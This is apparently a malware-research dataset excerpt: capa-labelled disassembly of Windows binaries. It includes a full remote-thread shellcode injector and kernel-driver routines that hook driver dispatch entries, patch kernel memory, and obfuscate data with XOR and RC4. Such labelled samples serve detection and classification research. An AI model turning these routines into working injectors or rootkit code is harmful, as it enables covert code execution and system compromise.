joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000162a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400016ae
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____VirtualAllocEx_Failed_With_Error_:__lu__n
mov rcx, rax
call main
mov eax, 0
jmp 0x140001845
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str._i__Allocated_Memory_At_:_0x_p__n
mov rcx, rax
call main
lea rax, str.___Press__Enter__To_Write_Payload_...
mov rcx, rax
call main
call sym.getchar
mov r9, qword [rbp + 0x20]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x14000170b
mov rax, qword [rbp - 0x10]
cmp qword [rbp + 0x20], rax
je 0x14000172f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____WriteProcessMemory_Failed_With_Error_:__lu__n
mov rcx, rax
call main
mov eax, 0
jmp 0x140001845
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rax, str._i__Successfully_Written__llu_Bytes_n
mov rcx, rax
call main
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x14]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x1400017ac
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____VirtualProtectEx_Failed_With_Error_:__lu__n
mov rcx, rax
call main
mov eax, 0
jmp 0x140001845
lea rax, str.___Press__Enter__To_Run_...
mov rcx, rax
call main
call sym.getchar
lea rax, str._i__Executing_Payload_...
mov rcx, rax
call main
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
test rax, rax
jne 0x140001831
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____CreateRemoteThread_Failed_With_Error_:__lu__n
mov rcx, rax
call main
mov eax, 0
jmp 0x140001845
lea rax, str.___DONE___n
mov rcx, rax
call main
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x140001c30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001ca0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x140001dd0
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001ceb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001cd0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001df2
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001dd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d80
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001cf8
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002360
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400023bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400023b3
test rsi, rsi
je 0x1400023b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002398
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002600
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000264d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002644
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000264f
add rax, 0x28
cmp rax, r9
jne 0x140002630
xor eax, eax
ret

Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400026e0
mov rdx, qword [0x14000ab90]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400026ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400026ce
cmp word [rax + 0x18], 0x20b
jne 0x1400026ce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400026e0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400026b9
add rbx, 0x28
cmp rbx, rdi
je 0x1400026e0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400026b0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400026f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ab90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002710
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002718
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002710
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000276d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002764
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002710
add rax, 0x28
cmp rax, r9
jne 0x140002750
xor eax, eax
ret

Function at 0x140002770
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab90]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000278f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002798
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000278f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400027b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000ab90]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400027d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400027d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400027d0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002820
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002817
test rcx, rcx
je 0x1400027d0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002808
xor eax, eax
ret

Function at 0x140002830
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ab90]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000284f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002858
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002870
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ab90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002890
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002898
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002890
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002890
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400028e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400028f0
add rdx, 0x28
cmp r9, rdx
jne 0x1400028d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002900
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000ab90]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002922
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002930
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002922
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002922
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002922
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002985
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002998
add rdx, 0x28
cmp rdx, r10
jne 0x140002970
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400029a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400029b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000298e
test ecx, ecx
jg 0x1400029a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000112c
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
movabs rax, 0xfffff78000000014
lea rsi, str._________
mov rax, qword [rax]
movups xmm0, xmmword [0x140003820]
mov dword [0x140006070], eax
mov eax, dword [0x140003840]
movups xmm1, xmmword [0x140003830]
mov dword [rsp + 0x40], eax
mov al, byte [0x140003844]
mov byte [rsp + 0x44], al
or rax, 0xffffffffffffffff
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm1
inc rax
cmp byte [rsi + rax], 0
jne 0x140001185
test eax, eax
je 0x1400011d1
mov rbx, rsi
mov edi, eax
lea rcx, [0x140006070]
call qword [sym.imp.ntoskrnl.exe_RtlRandomEx]
mov ecx, eax
movabs rax, 0xe38e38e38e38e38f
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
mov al, byte [rsp + rcx + 0x20]
mov byte [rbx], al
inc rbx
sub rdi, 1
jne 0x140001197
mov rdx, rsi
lea rcx, [0x140003850]
call sub.ntoskrnl.exe_DbgPrint
call fcn.1400017f8
call fcn.1400024a8
call fcn.140001d8c
call fcn.1400023f4
call fcn.140001ca4
lea rcx, [0x140003870]
call sub.ntoskrnl.exe_DbgPrint
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140001ca4
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
and qword [rbp + 0x10], 0
lea rax, [0x1400037f0]
mov qword [rbp - 0x18], rax
xor r9d, r9d
lea rax, [rbp + 0x10]
mov dword [rbp - 0x20], 0x220020
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov rax, qword [sym.imp.ntoskrnl.exe_IoDriverObjectType]
and qword [rsp + 0x30], 0
lea edx, [r9 + 0x40]
mov byte [rsp + 0x28], 0
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByName]
test eax, eax
js 0x140001d6d
mov eax, dword [0x140008060]
lea rcx, [0x140006080]
movaps xmm0, xmmword [rbp - 0x20]
mov edx, eax
inc eax
shl rdx, 5
add rdx, rcx
mov dword [0x140008060], eax
mov rax, qword [rbp + 0x10]
lea rcx, [0x140001218]
add rax, 0xe0
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rdx + 0x10], rax
xchg qword [rax], rcx
movaps xmm0, xmmword [rbp - 0x10]
mov qword [rdx + 0x18], rcx
movdqu xmmword [rdx], xmm0
mov qword [0x140006068], rcx
lea rdx, [rbp - 0x10]
lea rcx, [0x1400030c0]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x140001d83
lfence
mov r8d, eax
lea rdx, [rbp - 0x20]
lea rcx, [0x140003070]
call sub.ntoskrnl.exe_DbgPrint
add rsp, 0x60
pop rbp
ret
Function at 0x1400023f4
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
xor edx, edx
lea rcx, [0x140003670]
call fcn.140002814
mov rbx, rax
test rax, rax
jne 0x14000241c
lea rcx, [0x140003680]
jmp 0x14000249e
lea r8, [0x1400036b0]
mov rcx, rbx
lea rdx, [0x1400036c0]
call fcn.140002764
test rax, rax
je 0x14000245c
movsxd rdx, dword [rax + 3]
mov r8d, 0x10
mov ecx, dword [0x140006070]
add rax, 7
add rdx, rax
call fcn.140002ac0
lea rcx, [0x1400036d0]
jmp 0x140002463
lea rcx, [0x140003700]
call sub.ntoskrnl.exe_DbgPrint
lea r8, [0x140003740]
mov rcx, rbx
lea rdx, [0x140003750]
call fcn.140002764
test rax, rax
je 0x140002497
movsxd rcx, dword [rax + 3]
xor edx, edx
mov qword [rcx + rax + 7], rdx
lea rcx, [0x140003760]
jmp 0x14000249e
lea rcx, [0x140003790]
add rsp, 0x20
pop rbx
jmp sub.ntoskrnl.exe_DbgPrint

Function at 0x1400024a8
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
and qword [rbp + 0x10], 0
lea rax, [0x140003450]
mov qword [rbp - 0x18], rax
xor r9d, r9d
lea rax, [rbp + 0x10]
mov dword [rbp - 0x20], 0x220020
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov rax, qword [sym.imp.ntoskrnl.exe_IoDriverObjectType]
and qword [rsp + 0x30], 0
lea edx, [r9 + 0x40]
mov byte [rsp + 0x28], 0
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByName]
test eax, eax
js 0x140002571
mov eax, dword [0x140008060]
lea rcx, [0x140006080]
movaps xmm0, xmmword [rbp - 0x20]
mov edx, eax
inc eax
shl rdx, 5
add rdx, rcx
mov dword [0x140008060], eax
mov rax, qword [rbp + 0x10]
lea rcx, [0x1400012ac]
add rax, 0xe0
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rdx + 0x10], rax
xchg qword [rax], rcx
movaps xmm0, xmmword [rbp - 0x10]
mov qword [rdx + 0x18], rcx
movdqu xmmword [rdx], xmm0
mov qword [0x140006050], rcx
lea rdx, [rbp - 0x10]
lea rcx, [0x1400030c0]
call sub.ntoskrnl.exe_DbgPrint
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x140002587
lfence
mov r8d, eax
lea rdx, [rbp - 0x20]
lea rcx, [0x140003070]
call sub.ntoskrnl.exe_DbgPrint
add rsp, 0x60
pop rbp
ret

Function at 0x140002644
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov edx, 0x20
xor ecx, ecx
mov r8d, 0x6e556353
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool2]
mov rcx, rax
test rax, rax
jne 0x140002685
lea rcx, [0x1400038c0]
call sub.ntoskrnl.exe_DbgPrint
jmp 0x1400026ae
mov rax, qword [rsi + 0x18]
mov qword [rcx], rax
mov eax, dword [rbx + 8]
mov dword [rcx + 8], eax
mov rax, qword [rbx + 0x40]
mov qword [rcx + 0x10], rax
mov rax, qword [rbx + 0x38]
mov qword [rcx + 0x18], rax
mov byte [rbx + 3], 0x40
mov qword [rbx + 0x40], rcx
mov qword [rbx + 0x38], rdi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140002814
Capabilities:
Get system information on windows
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x150
xor ebp, ebp
lea r9, [rax + 0x18]
and dword [rax + 0x18], ebp
mov rsi, rdx
mov r14, rcx
xor r8d, r8d
xor edx, edx
lea edi, [rbp + 0xb]
mov ecx, edi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x140002864
mov edx, eax
lea rcx, [0x1400038f0]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
jmp 0x140002995
mov edx, dword [rsp + 0x180]
xor ecx, ecx
mov r8d, 0x6e556353
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool2]
mov rbx, rax
test rax, rax
jne 0x140002891
mov edx, dword [rsp + 0x180]
lea rcx, [0x140003930]
jmp 0x140002858
mov r8d, dword [rsp + 0x180]
xor r9d, r9d
mov rdx, rbx
mov ecx, edi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov edi, eax
lfence
test eax, eax
jns 0x1400028c5
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, edi
lea rcx, [0x140003970]
jmp 0x140002858
xor edi, edi
cmp dword [rbx], edi
jbe 0x140002987
mov eax, edi
lea rcx, [rsp + 0x20]
imul rax, rax, 0x128
mov edx, 2
add rax, 8
add rax, rbx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400028e9
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rsp + 0x48]
call fcn.1400029ec
mov rcx, rax
mov rdx, r14
call sub.ntoskrnl.exe_strstr
test rax, rax
jne 0x140002977
inc edi
cmp edi, dword [rbx]
jb 0x1400028cf
jmp 0x140002987
mov rbp, qword [rsp + 0x30]
test rsi, rsi
je 0x140002987
mov ecx, dword [rsp + 0x38]
mov dword [rsi], ecx
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rbp
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x1400029b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r8, rcx
test edx, edx
jne 0x1400029ba
xor eax, eax
ret
movzx eax, byte [rcx]
xor eax, 0x4b9ace2f
imul ecx, eax, 0x1000193
cmp edx, 1
jbe 0x1400029e7
inc r8
dec edx
movzx eax, byte [r8]
inc r8
xor eax, ecx
imul ecx, eax, 0x1000193
sub rdx, 1
jne 0x1400029d2
mov eax, ecx
ret
Function at 0x140002a24
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov esi, edx
mov rbp, rcx
mov edx, edx
xor ecx, ecx
mov r8d, 0x6e556353
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool2]
mov rbx, rax
test rax, rax
je 0x140002a9a
and qword [rsp + 0x50], 0
lea rax, [rsp + 0x50]
mov r9d, 2
mov qword [rsp + 0x20], rax
mov r8d, esi
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
test eax, eax
js 0x140002a8d
cmp qword [rsp + 0x50], rsi
jne 0x140002a8d
lfence
mov rax, rbx
jmp 0x140002aaa
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x140002aa8
mov edx, esi
lea rcx, [0x140003890]
call sub.ntoskrnl.exe_DbgPrint
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140002ac0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov esi, r8d
mov ebx, ecx
mov edx, r8d
mov rcx, rdi
call fcn.1400029b0
xor ebx, eax
test esi, esi
je 0x140002b06
mov ecx, esi
imul ebx, ebx, 0x41c64e6d
add ebx, 0x3039
mov eax, ebx
shr eax, 0x10
xor byte [rdi], al
inc rdi
sub rcx, 1
jne 0x140002aea
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140ffaec4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + rcx*2 - 0x7906de0c], rcx
mov cl, byte [rbp + rcx*2 - 0x7906ddfc]
adc rbp, 0xa
shld rax, rdx, cl
mov qword [rbp + riz], rax
lea rsp, [rsp + 8]
jmp fcn.14100d8e7
mov rdx, qword [rbp + rcx*2 - 0x7906de54]
and cl, 6
jge 0x140feaaf1
mov eax, 0xfb018336
lea rdx, [rax + rax*2 - 0x57fc6de8]
mov rbp, qword [r9 + riz]
mov edi, eax
mov r8d, 0x702dec0b
xchg r8d, edx
lea r9, [r9 + rdx - 0x702dec03]
movzx r11d, ax
imul rax, r11
movsx ebx, al
mov rsi, rbp
btc rax, r11
dec dil
mov rdi, r9
movzx ecx, bx
lea r9, [rbx + 0x4e14b224]
ja 0x141015d72
call fcn.141013a16

Function at 0x141011ed0
Capabilities:
Encode data using xor

Disassembly:
pop r10
mov r10, qword [rsp + r10 - 0x543ae32f]
lea rsp, [rsp + 0x10]
jmp 0x140fda1ee
mov qword [rsp], 0x2b357f80
mov qword [rsp], r10
mov r10d, 0xb596d01c
and r10d, r10d
adc r10w, r10w
push rsi
lea r10, [0x141009918]
mov esi, 0xb73c0281
movzx esi, byte [r9 + riz]
xor esi, ebp
and esi, 0xff
push 0xffffffff9e8ba12a
inc qword [rsp]
mov esi, dword [r10 + rsi*4]
neg qword [rsp]
shr ebp, 8
xor ebp, esi
inc r9
xor ebp, 0x35a96d8d
inc dword [rsp]
and dword [rsp + 4], 0xecbcbb33
or byte [rsp + 3], 0x8c
dec rbx
lea rsp, [rsp + 8]
jne 0x141011ef3
push 0x543ae337
mov rsi, qword [rsp + 8]
jmp 0x141006d72